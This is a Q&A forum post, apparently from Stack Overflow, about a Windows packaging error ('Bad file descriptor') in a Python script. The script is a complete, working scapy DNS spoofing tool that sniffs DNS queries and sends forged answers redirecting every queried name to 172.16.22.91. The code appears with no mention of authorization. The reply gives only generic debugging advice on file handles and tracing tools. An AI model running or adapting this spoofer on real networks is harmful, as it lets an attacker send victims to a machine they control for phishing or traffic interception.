scapy OSError: [Errno 9] Bad file descriptor
Question: I'm using python 2.7 and scapy-2.2.0 in windows xp. I'm trying dns spoofing
and it works well in python. but when I make to .exe and execute it, I got
this error

    
    
    Traceback (most recent call last):
    File "dns_spoof.py", line 17, in <module>
    File "scapy\arch\windows\__init__.pyc", line 523, in sniff
    File "dns_spoof.py", line 15, in dns_spoof
    File "scapy\sendrecv.pyc", line 251, in send
    File "scapy\sendrecv.pyc", line 237, in __gen_send
    OSError: [Errno 9] Bad file descriptor
    

How can I fix it? Please help.

This is source code.

    
    
    import logging
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    try:
        from scapy.all import *
    except:
        from scapy import *
    def dns_spoof(pkt):
        redirect_to = '172.16.22.91'
        if pkt.haslayer(DNSQR): # DNS question record
            spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                          an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
            send(spoofed_pkt)
            print 'Sent:', spoofed_pkt.summary()
    sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)
    


Answer: It looks like a wrong file descriptor (handle) is being used. E.g. something
open as stdout (pipe) is used as a socket.

If I understand correctly, same program works from source and fails when
rolled into an exe. Am I right?

If you ran it on linux, you would use `strace` to figure out which.

Equivalent tools on windows are `Process Monitor` and `Logger.exe`.

